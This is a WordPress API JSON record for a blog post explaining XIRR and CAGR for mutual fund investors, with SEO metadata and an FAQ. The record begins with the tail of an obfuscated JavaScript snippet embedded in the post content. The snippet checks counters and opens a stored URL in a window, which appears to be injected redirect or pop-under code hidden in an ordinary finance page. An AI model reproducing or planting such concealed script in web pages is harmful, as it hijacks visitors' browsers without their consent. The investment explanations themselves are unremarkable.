_0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script>","protected":false},"excerpt":{"rendered":"<p>As a mutual fund investor, you&#8217;ve most likely seen terms like XIRR and CAGR on your dashboards. What do they mean? Are they really important for your investments? What is the real XIRR meaning, and how is it different from CAGR? Instead of guessing your returns, understanding the meaning of XIRR can help you make &hellip; <a href=\"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;XIRR Meaning &#8211; How It Helps You Know Your Real Returns\u00a0&#8220;<\/span><\/a><\/p>\n","protected":false},"author":17,"featured_media":15173,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[12],"tags":[8530,8531,8527,8528,8533,8529,8532,8534,8525,8526],"class_list":["post-15171","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-mutual-funds","tag-what-is-xirr","tag-what-is-xirr-in-mutual-fund","tag-xirr","tag-xirr-calculator","tag-xirr-formula","tag-xirr-full-form","tag-xirr-in-mutual-fund","tag-xirr-in-sip","tag-xirr-meaning","tag-xirr-means"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>What Is XIRR: Meaning, Benefits and Importance<\/title>\n<meta name=\"description\" content=\"XIRR in mutual funds shows your actual annual returns based on SIP timings. Learn XIRR meaning, importance and difference between XIRR and CAGR.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"What Is XIRR: Meaning, Benefits and Importance\" \/>\n<meta property=\"og:description\" content=\"XIRR in mutual funds shows your actual annual returns based on SIP timings. Learn XIRR meaning, importance and difference between XIRR and CAGR.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/ShoonyaApp\/\" \/>\n<meta property=\"article:published_time\" content=\"2025-10-07T06:52:37+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-07T06:58:18+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/10\/what-is-xirr-in-mutual-fund.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1942\" \/>\n\t<meta property=\"og:image:height\" content=\"1080\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"atulrana\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:title\" content=\"What Is XIRR: Meaning, Benefits and Importance\" \/>\n<meta name=\"twitter:description\" content=\"XIRR in mutual funds shows your actual annual returns based on SIP timings. Learn XIRR meaning, importance and difference between XIRR and CAGR.\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/10\/what-is-xirr-in-mutual-fund.jpg\" \/>\n<meta name=\"twitter:creator\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:site\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"atulrana\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/\"},\"author\":{\"name\":\"atulrana\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/753b3e2352dc2915e7069273091f9124\"},\"headline\":\"XIRR Meaning &#8211; How It Helps You Know Your Real Returns\u00a0\",\"datePublished\":\"2025-10-07T06:52:37+00:00\",\"dateModified\":\"2025-10-07T06:58:18+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/\"},\"wordCount\":1492,\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/10\\\/what-is-xirr-in-mutual-fund.jpg\",\"keywords\":[\"what is xirr\",\"what is xirr in mutual fund\",\"xirr\",\"xirr calculator\",\"xirr formula\",\"xirr full form\",\"xirr in mutual fund\",\"xirr in sip\",\"xirr meaning\",\"xirr means\"],\"articleSection\":[\"Mutual Funds\"],\"inLanguage\":\"en-US\"},{\"@type\":[\"WebPage\",\"FAQPage\"],\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/\",\"name\":\"What Is XIRR: Meaning, Benefits and Importance\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/10\\\/what-is-xirr-in-mutual-fund.jpg\",\"datePublished\":\"2025-10-07T06:52:37+00:00\",\"dateModified\":\"2025-10-07T06:58:18+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/753b3e2352dc2915e7069273091f9124\"},\"description\":\"XIRR in mutual funds shows your actual annual returns based on SIP timings. Learn XIRR meaning, importance and difference between XIRR and CAGR.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/#breadcrumb\"},\"mainEntity\":[{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/#faq-question-1759819282006\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/#faq-question-1759819284101\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/#faq-question-1759819313006\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/#faq-question-1759819313486\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/#faq-question-1759819333824\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/#faq-question-1759819334383\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/#faq-question-1759819365175\"}],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/#primaryimage\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/10\\\/what-is-xirr-in-mutual-fund.jpg\",\"contentUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/10\\\/what-is-xirr-in-mutual-fund.jpg\",\"width\":1942,\"height\":1080,\"caption\":\"what is xirr in mutual fund\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Investing\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/investing\\\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Mutual Funds\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/investing\\\/mutual-funds\\\/\"},{\"@type\":\"ListItem\",\"position\":4,\"name\":\"XIRR Meaning &#8211; How It Helps You Know Your Real Returns\u00a0\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\",\"name\":\"\",\"description\":\"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/753b3e2352dc2915e7069273091f9124\",\"name\":\"atulrana\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/56661bad9a9faba6942f406f61a70c95770772dfbac6ae45629f44769cc88636?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/56661bad9a9faba6942f406f61a70c95770772dfbac6ae45629f44769cc88636?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/56661bad9a9faba6942f406f61a70c95770772dfbac6ae45629f44769cc88636?s=96&d=mm&r=g\",\"caption\":\"atulrana\"}},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/#faq-question-1759819282006\",\"position\":1,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/#faq-question-1759819282006\",\"name\":\"1. What is the meaning of XIRR in mutual funds?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"XIRR stands for Extended Internal Rate of Return. It determines your actual annual returns based on when and how much you invested.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/#faq-question-1759819284101\",\"position\":2,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/#faq-question-1759819284101\",\"name\":\"2. How is XIRR different from CAGR?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"\u00a0While CAGR presumes a single investment made at the start, XIRR accounts for multiple investments made at different times. It's a meticulous return metric for SIPs or staggered investments.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/#faq-question-1759819313006\",\"position\":3,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/#faq-question-1759819313006\",\"name\":\"3. Why is XIRR important for SIP investors?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"\u00a0SIPs involve monthly contributions, each with its own individual date and duration. XIRR collects all those cash flows to show your personalised, time-sensitive return.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/#faq-question-1759819313486\",\"position\":4,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/#faq-question-1759819313486\",\"name\":\"4. Does XIRR change over time?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"\u00a0Yes, XIRR is dynamic. It updates as you make new investments, redeem funds, or as market values change, equipping you with a real-time view of your portfolio\u2019s performance.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/#faq-question-1759819333824\",\"position\":5,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/#faq-question-1759819333824\",\"name\":\"5. Is a higher XIRR always better?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Generally, yes, a higher XIRR means better returns. But it's significant to compare it with your financial goals, time horizon and risk appetite as well.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/#faq-question-1759819334383\",\"position\":6,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/#faq-question-1759819334383\",\"name\":\"6. Is XIRR shown on mutual fund platforms?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Yes. Most platforms show your XIRR directly in your portfolio view, so you can monitor your real return with ease.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/#faq-question-1759819365175\",\"position\":7,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/what-is-xirr-in-mutual-fund\\\/#faq-question-1759819365175\",\"name\":\"7. What is a good XIRR in SIP investments?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"\u00a0A good XIRR depends on market conditions and your investment timespan. Over the long term, an XIRR of 10\u201312% is generally considered healthy for equity mutual funds.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"What Is XIRR: Meaning, Benefits and Importance","description":"XIRR in mutual funds shows your actual annual returns based on SIP timings. Learn XIRR meaning, importance and difference between XIRR and CAGR.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/","og_locale":"en_US","og_type":"article","og_title":"What Is XIRR: Meaning, Benefits and Importance","og_description":"XIRR in mutual funds shows your actual annual returns based on SIP timings. Learn XIRR meaning, importance and difference between XIRR and CAGR.","og_url":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/","article_publisher":"https:\/\/www.facebook.com\/ShoonyaApp\/","article_published_time":"2025-10-07T06:52:37+00:00","article_modified_time":"2025-10-07T06:58:18+00:00","og_image":[{"width":1942,"height":1080,"url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/10\/what-is-xirr-in-mutual-fund.jpg","type":"image\/jpeg"}],"author":"atulrana","twitter_card":"summary_large_image","twitter_title":"What Is XIRR: Meaning, Benefits and Importance","twitter_description":"XIRR in mutual funds shows your actual annual returns based on SIP timings. Learn XIRR meaning, importance and difference between XIRR and CAGR.","twitter_image":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/10\/what-is-xirr-in-mutual-fund.jpg","twitter_creator":"@shoonyaapp","twitter_site":"@shoonyaapp","twitter_misc":{"Written by":"atulrana","Est. reading time":"7 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#article","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/"},"author":{"name":"atulrana","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/753b3e2352dc2915e7069273091f9124"},"headline":"XIRR Meaning &#8211; How It Helps You Know Your Real Returns\u00a0","datePublished":"2025-10-07T06:52:37+00:00","dateModified":"2025-10-07T06:58:18+00:00","mainEntityOfPage":{"@id":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/"},"wordCount":1492,"image":{"@id":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/10\/what-is-xirr-in-mutual-fund.jpg","keywords":["what is xirr","what is xirr in mutual fund","xirr","xirr calculator","xirr formula","xirr full form","xirr in mutual fund","xirr in sip","xirr meaning","xirr means"],"articleSection":["Mutual Funds"],"inLanguage":"en-US"},{"@type":["WebPage","FAQPage"],"@id":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/","url":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/","name":"What Is XIRR: Meaning, Benefits and Importance","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#primaryimage"},"image":{"@id":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/10\/what-is-xirr-in-mutual-fund.jpg","datePublished":"2025-10-07T06:52:37+00:00","dateModified":"2025-10-07T06:58:18+00:00","author":{"@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/753b3e2352dc2915e7069273091f9124"},"description":"XIRR in mutual funds shows your actual annual returns based on SIP timings. Learn XIRR meaning, importance and difference between XIRR and CAGR.","breadcrumb":{"@id":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#breadcrumb"},"mainEntity":[{"@id":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#faq-question-1759819282006"},{"@id":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#faq-question-1759819284101"},{"@id":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#faq-question-1759819313006"},{"@id":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#faq-question-1759819313486"},{"@id":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#faq-question-1759819333824"},{"@id":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#faq-question-1759819334383"},{"@id":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#faq-question-1759819365175"}],"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#primaryimage","url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/10\/what-is-xirr-in-mutual-fund.jpg","contentUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/10\/what-is-xirr-in-mutual-fund.jpg","width":1942,"height":1080,"caption":"what is xirr in mutual fund"},{"@type":"BreadcrumbList","@id":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/shoonya.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Investing","item":"https:\/\/shoonya.com\/blog\/investing\/"},{"@type":"ListItem","position":3,"name":"Mutual Funds","item":"https:\/\/shoonya.com\/blog\/investing\/mutual-funds\/"},{"@type":"ListItem","position":4,"name":"XIRR Meaning &#8211; How It Helps You Know Your Real Returns\u00a0"}]},{"@type":"WebSite","@id":"https:\/\/shoonya.com\/blog\/#website","url":"https:\/\/shoonya.com\/blog\/","name":"","description":"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/shoonya.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/753b3e2352dc2915e7069273091f9124","name":"atulrana","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/56661bad9a9faba6942f406f61a70c95770772dfbac6ae45629f44769cc88636?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/56661bad9a9faba6942f406f61a70c95770772dfbac6ae45629f44769cc88636?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/56661bad9a9faba6942f406f61a70c95770772dfbac6ae45629f44769cc88636?s=96&d=mm&r=g","caption":"atulrana"}},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#faq-question-1759819282006","position":1,"url":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#faq-question-1759819282006","name":"1. What is the meaning of XIRR in mutual funds?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"XIRR stands for Extended Internal Rate of Return. It determines your actual annual returns based on when and how much you invested.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#faq-question-1759819284101","position":2,"url":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#faq-question-1759819284101","name":"2. How is XIRR different from CAGR?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"\u00a0While CAGR presumes a single investment made at the start, XIRR accounts for multiple investments made at different times. It's a meticulous return metric for SIPs or staggered investments.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#faq-question-1759819313006","position":3,"url":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#faq-question-1759819313006","name":"3. Why is XIRR important for SIP investors?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"\u00a0SIPs involve monthly contributions, each with its own individual date and duration. XIRR collects all those cash flows to show your personalised, time-sensitive return.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#faq-question-1759819313486","position":4,"url":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#faq-question-1759819313486","name":"4. Does XIRR change over time?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"\u00a0Yes, XIRR is dynamic. It updates as you make new investments, redeem funds, or as market values change, equipping you with a real-time view of your portfolio\u2019s performance.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#faq-question-1759819333824","position":5,"url":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#faq-question-1759819333824","name":"5. Is a higher XIRR always better?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"Generally, yes, a higher XIRR means better returns. But it's significant to compare it with your financial goals, time horizon and risk appetite as well.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#faq-question-1759819334383","position":6,"url":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#faq-question-1759819334383","name":"6. Is XIRR shown on mutual fund platforms?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"Yes. Most platforms show your XIRR directly in your portfolio view, so you can monitor your real return with ease.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#faq-question-1759819365175","position":7,"url":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#faq-question-1759819365175","name":"7. What is a good XIRR in SIP investments?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"\u00a0A good XIRR depends on market conditions and your investment timespan. Over the long term, an XIRR of 10\u201312% is generally considered healthy for equity mutual funds.","inLanguage":"en-US"},"inLanguage":"en-US"}]}},"_links":{"self":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/15171","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/users\/17"}],"replies":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/comments?post=15171"}],"version-history":[{"count":2,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/15171\/revisions"}],"predecessor-version":[{"id":15176,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/15171\/revisions\/15176"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media\/15173"}],"wp:attachment":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media?parent=15171"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/categories?post=15171"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/tags?post=15171"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}